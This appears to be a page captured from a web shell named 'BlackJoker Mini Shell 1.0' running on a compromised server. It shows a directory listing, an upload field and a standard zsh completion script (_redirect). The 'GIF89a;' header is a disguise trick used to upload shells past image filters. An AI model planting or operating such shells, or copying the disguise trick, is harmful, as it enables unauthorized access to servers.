GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/zsh/5.0.2/functions/
Upload File :
Current File : //usr/share/zsh/5.0.2/functions/_redirect

#compdef -redirect-

local strs _comp_command1 _comp_command2 _comp_command

_set_command

strs=( -default- )

if [[ "$CURRENT" != "1" ]]; then
  strs=( "${_comp_command}" "$strs[@]" )
  if [[ -n "$_comp_command1" ]]; then
    strs=( "${_comp_command1}" "$strs[@]" )
    [[ -n "$_comp_command2" ]] &&
      strs=( "${_comp_command2}" "$strs[@]" )
  fi
fi

_dispatch -redirect-,{${compstate[redirect]},-default-},${^strs}

./BlackJoker Mini Shell 1.0